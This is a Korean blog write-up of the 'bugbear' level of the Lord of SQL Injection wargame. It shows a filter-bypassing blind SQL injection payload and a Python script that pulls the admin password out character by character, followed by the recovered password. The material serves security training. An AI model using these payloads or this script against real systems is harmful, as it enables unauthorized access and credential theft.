pw에서 싱글쿼터의 입력을 막아두었고,

no에서는 substr, ascii, =, or, and, like, 0x, 공백의 입력을 막아두고 있다.

 

위와 같은 쿼리를 통해 패스워드의 길이가 8임을 알 수 있었다.

?no=1%09||%09id%09in%09("admin")%26%26length(pw)%09in%09(8)

 

아래는 비밀번호 구하는 자동화 스크립트이다.

ascii를 사용하지 못하기 때문에 hex를 이용해주었다.

import requests

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?"
cookies = {'PHPSESSID' : '4mq62u7cdjpstq522icoooqir5'}

arr=[]    
for k in range(1,9):
    for j in range(32,127):
        val='no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(k)+',1)%0ain%0a("'+chr(j)+'")'
        res=requests.get(url+val, cookies=cookies)
        if "Hello admin" in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

이 비밀번호를 이용해 ?pw=52dc3991를 입력해주었더니 아래와 같이 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] assassin  (0) 2022.11.12
[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] Skeleton  (0) 2022.09.18

+ Recent posts